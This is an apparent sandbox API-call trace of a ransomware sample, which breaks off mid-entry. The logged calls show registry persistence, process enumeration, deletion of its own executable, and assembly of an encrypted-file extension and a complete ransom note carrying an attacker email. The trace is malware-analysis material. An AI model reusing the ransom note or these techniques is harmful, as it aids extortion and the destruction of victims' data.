NtQuerySystemTime (in: CurrentTime=0xef9d8 | out: CurrentTime=0xef9d8*=132174897985152000) returned 0x0 [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x4a45b98 [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x8b34a7a [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x5b41893b [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x4c98768 [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x5f890007 [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x11973fae [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x6995bdad [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0xdbd2684 [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x4b870b2f [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x2e9dd083 [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x573d24a9 [0032.007] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x5e3a8d8f [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x2642fc7d [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x6003f067 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x6dc09ebf [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0xcc9d569 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x2cb53f79 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x1bd3298b [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x13015fb6 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x63a85c36 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x2c718f13 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x7ef1b38e [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x758c7fea [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x51e85064 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x2046b7fb [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x4d20c98 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x3fb91878 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x2bd972f8 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x34f06435 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x642e3754 [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x6ab5ea4d [0032.008] RtlRandomEx (in: Seed=0xef9e4 | out: Seed=0xef9e4) returned 0x764c90d8 [0032.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f9b8 [0032.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418758 [0032.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x40f9e0 [0032.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418758) returned 1 [0032.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f990) returned 1 [0032.012] wcscpy (in: _Dest=0x408800, _Source="software\\" | out: _Dest="software\\") returned="software\\" [0032.012] wcscat (in: _Dest=0x408800, _Source="cd46de9c" | out: _Dest="software\\cd46de9c") returned="software\\cd46de9c" [0032.012] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="software\\cd46de9c", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf013f, lpSecurityAttributes=0x0, phkResult=0xefa20, lpdwDisposition=0x0 | out: phkResult=0xefa20*=0x114, lpdwDisposition=0x0) returned 0x0 [0032.012] RegSetValueExW (in: hKey=0x114, lpValueName="cd46de9c", Reserved=0x0, dwType=0x3, lpData=0x4163b8*, cbData=0x8c | out: lpData=0x4163b8*) returned 0x0 [0032.013] RegFlushKey (hKey=0x114) returned 0x0 [0032.028] RegCloseKey (hKey=0x114) returned 0x0 [0032.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408800) returned 1 [0032.028] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4163b8) returned 1 [0032.028] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1024) returned 0x419740 [0032.028] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.029] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x2048) returned 0x419740 [0032.029] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.082] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x306c) returned 0x419740 [0032.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.083] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x4090) returned 0x419740 [0032.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.083] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x50b4) returned 0x419740 [0032.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.083] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x60d8) returned 0x419740 [0032.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.084] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x70fc) returned 0x419740 [0032.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.084] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x8120) returned 0x419740 [0032.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.084] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0x9144) returned 0x419740 [0032.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.084] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0xa168) returned 0x419740 [0032.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.085] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0xb18c) returned 0x419740 [0032.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0xc0000004 [0032.085] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x419740, Size=0xc1b0) returned 0x419740 [0032.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x419740, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x419740, ResultLength=0x0) returned 0x0 [0032.085] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419740) returned 1 [0032.085] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\22.exe")) returned 1 [0032.088] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418528) returned 1 [0032.088] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6) returned 0x415ec0 [0032.088] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc) returned 0x415af8 [0032.088] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x28) returned 0x408800 [0032.088] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0032.088] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd) returned 0x415b10 [0032.088] strstr (_Str="*-Readme.txt", _SubStr="{ID}") returned 0x0 [0032.088] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString="*-Readme.txt" | out: DestinationString="*-Readme.txt") [0032.088] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString="*-Readme.txt", AllocateDestinationString=1 | out: DestinationString="*-Readme.txt") returned 0x0 [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x40f918 [0032.089] strstr (_Str=".mailto[{mail1}].{id}", _SubStr="{id}") returned="{id}" [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x17) returned 0x415430 [0032.089] strstr (_Str=".mailto[{mail1}].cd46d", _SubStr="{id}") returned 0x0 [0032.089] strstr (_Str=".mailto[{mail1}].cd46d", _SubStr="{ID}") returned 0x0 [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x17) returned 0x415450 [0032.089] strcpy (in: _Dest=0x415450, _Source=".mailto[{mail1}].cd46d" | out: _Dest=".mailto[{mail1}].cd46d") returned=".mailto[{mail1}].cd46d" [0032.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415430) returned 1 [0032.089] strstr (_Str=".mailto[{mail1}].cd46d", _SubStr="{mail1}") returned="{mail1}].cd46d" [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x408830 [0032.089] strstr (_Str=".mailto[2Hamlampampom@cock.li].cd46d", _SubStr="{mail1}") returned 0x0 [0032.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415450) returned 1 [0032.089] strstr (_Str=".mailto[2Hamlampampom@cock.li].cd46d", _SubStr="{mail2}") returned 0x0 [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x408860 [0032.089] strcpy (in: _Dest=0x408860, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest=".mailto[2Hamlampampom@cock.li].cd46d") returned=".mailto[2Hamlampampom@cock.li].cd46d" [0032.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x408830) returned 1 [0032.089] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString=".mailto[2Hamlampampom@cock.li].cd46d" | out: DestinationString=".mailto[2Hamlampampom@cock.li].cd46d") [0032.089] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString=".mailto[2Hamlampampom@cock.li].cd46d", AllocateDestinationString=1 | out: DestinationString=".mailto[2Hamlampampom@cock.li].cd46d") returned 0x0 [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413c28 [0032.089] wcscpy (in: _Dest=0x415b28, _Source="." | out: _Dest=".") returned="." [0032.089] wcscat (in: _Dest=0x415b28, _Source="cd46d" | out: _Dest=".cd46d") returned=".cd46d" [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413bd0 [0032.089] wcscpy (in: _Dest=0x413bd0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest=".mailto[2Hamlampampom@cock.li].cd46d") returned=".mailto[2Hamlampampom@cock.li].cd46d" [0032.089] strstr (_Str="{ID}-Readme.txt", _SubStr="{id}") returned 0x0 [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x10) returned 0x415b40 [0032.089] strcpy (in: _Dest=0x415b40, _Source="{ID}-Readme.txt" | out: _Dest="{ID}-Readme.txt") returned="{ID}-Readme.txt" [0032.089] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0032.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x11) returned 0x415450 [0032.089] strstr (_Str="CD46D-Readme.txt", _SubStr="{ID}") returned 0x0 [0032.089] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415b40) returned 1 [0032.089] strstr (_Str="CD46D-Readme.txt", _SubStr="{mail1}") returned 0x0 [0032.090] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x11) returned 0x415430 [0032.090] strcpy (in: _Dest=0x415430, _Source="CD46D-Readme.txt" | out: _Dest="CD46D-Readme.txt") returned="CD46D-Readme.txt" [0032.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415450) returned 1 [0032.090] strstr (_Str="CD46D-Readme.txt", _SubStr="{mail2}") returned 0x0 [0032.090] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x11) returned 0x415450 [0032.090] strcpy (in: _Dest=0x415450, _Source="CD46D-Readme.txt" | out: _Dest="CD46D-Readme.txt") returned="CD46D-Readme.txt" [0032.090] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415430) returned 1 [0032.090] RtlInitAnsiString (in: DestinationString=0xefa44, SourceString="CD46D-Readme.txt" | out: DestinationString="CD46D-Readme.txt") [0032.090] RtlAnsiStringToUnicodeString (in: DestinationString=0xefa4c, SourceString="CD46D-Readme.txt", AllocateDestinationString=1 | out: DestinationString="CD46D-Readme.txt") returned 0x0 [0032.090] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x22) returned 0x408890 [0032.090] NtQuerySystemTime (in: CurrentTime=0xef9b4 | out: CurrentTime=0xef9b4*=132174897985932000) returned 0x0 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x797831c4 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x6beb3b24 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x7f84785e [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x30dad06f [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x6a8f746e [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x19e08489 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x43e172ac [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x2938c515 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x1d754c80 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x1e38ffed [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x255ca4d6 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0xf7a24c2 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x15645991 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x7af33836 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x6975d72c [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x4874d646 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0xf0f63a8 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x168640a1 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x43233497 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0xc6cb874 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x79406eff [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x5ff9d2 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x5ae60be6 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x69696a1d [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x3dbc7db0 [0032.090] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x4da1f5c1 [0032.091] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x22b0c8ef [0032.091] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x3740982e [0032.091] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x18034d97 [0032.091] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x19e08489 [0032.091] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x14730571 [0032.091] RtlRandomEx (in: Seed=0xef9c0 | out: Seed=0xef9c0) returned 0x2d77008e [0032.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f9b8) returned 1 [0032.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0032.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4021c8) returned 1 [0032.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x418528 [0032.094] sprintf (in: _Dest=0x415b40, _Format="%0.8x" | out: _Dest="3289ad72") returned 8 [0032.094] strstr (_Str="{code_ph_id:\r\nb64}", _SubStr="ph") returned="ph_id:\r\nb64}" [0032.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x19) returned 0x40f9b8 [0032.094] strstr (_Str="{code_3289ad72_id:\r\nb64}", _SubStr="ph") returned 0x0 [0032.094] strstr (_Str="{code_3289ad72_id:\r\nb64}", _SubStr="id") returned="id:\r\nb64}" [0032.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1c) returned 0x40f940 [0032.094] strstr (_Str="{code_3289ad72_cd46d:\r\nb64}", _SubStr="id") returned 0x0 [0032.095] strstr (_Str="{code_3289ad72_cd46d:\r\nb64}", _SubStr="b64") returned="b64}" [0032.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x13f) returned 0x419878 [0032.095] strstr (_Str="{code_3289ad72_cd46d:\r\nNC61eH4v+F0DqtjeiDcdwBmTj4n0OYJDUAglDukQAex/eTVu5U\r\nYo9MYe2Qp/pgxcwy+ZRqm+X3coRm9DRZKLedPEKLBMSEM0cq2J\r\nMsXY6jRPalWq6x3Lwzkv1sSujTvFawiiKxXGK1s278Tx69z6Mx\r\nigvv7EoLbZ0zFLmuO4lAN1Ze26cCjowm/hYyDUOapOAhPGBNmE\r\nZVv3WCLWjzVHrMZDPn2mu2gq3Rtsymp9M2RsnNT/hMl0corivy\r\njwQU/qidiQi4THlQf9KhdvyFQiwpL+YUc=}", _SubStr="b64") returned 0x0 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f940) returned 1 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f9b8) returned 1 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x415b40) returned 1 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419740) returned 1 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418608) returned 1 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418528) returned 1 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4165d0) returned 1 [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40f8c8) returned 1 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .{id}\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{id}") returned="{id}\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0032.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a5) returned 0x4199c0 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{id}") returned 0x0 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}", _SubStr="{ID}") returned 0x0 [0032.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a5) returned 0x419f70 [0032.095] strcpy (in: _Dest=0x419f70, _Source="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" | out: _Dest="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}") returned="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text before the encryption ended,\r\nthis can be understood by the fact that the computer slows down, \r\nand your heart rate has increased due to the ability to turn it off,\r\nthen we recommend that you move away from the computer and accept that you have been compromised,\r\nrebooting/shutdown will cause you to lose files without the possibility of recovery and even god will not be able to help you,\r\nit could be files on the network belonging to other users, sure you want to take that responsibility?\r\n\r\n--\r\n\r\nOur encryption algorithms are very strong and your files are very well protected, you can't hope to recover them without our help.\r\nThe only way to get your files back is to cooperate with us and get the decrypter program.\r\nDo not try to recover your files without a decrypt program, you may damage them and then they will be impossible to recover.\r\n\r\nWe advise you to contact us as soon as possible, otherwise there is a possibility that your files will never be returned.\r\nFor us this is just business and to prove to you our seriousness, we will decrypt you some files for free, \r\nbut we will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.\r\n\r\nСontact us:\r\n1.{mail1}\r\n2.{mail2}\r\n\r\nDon't forget to include your code in the email:\r\n{code}" [0032.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4199c0) returned 1 [0032.095] strstr (_Str="Hi!\r\nYour files are encrypted.\r\nAll encrypted files for this computer has extension: .cd46d\r\n\r\n--\r\n\r\nIf for some reason you read this text 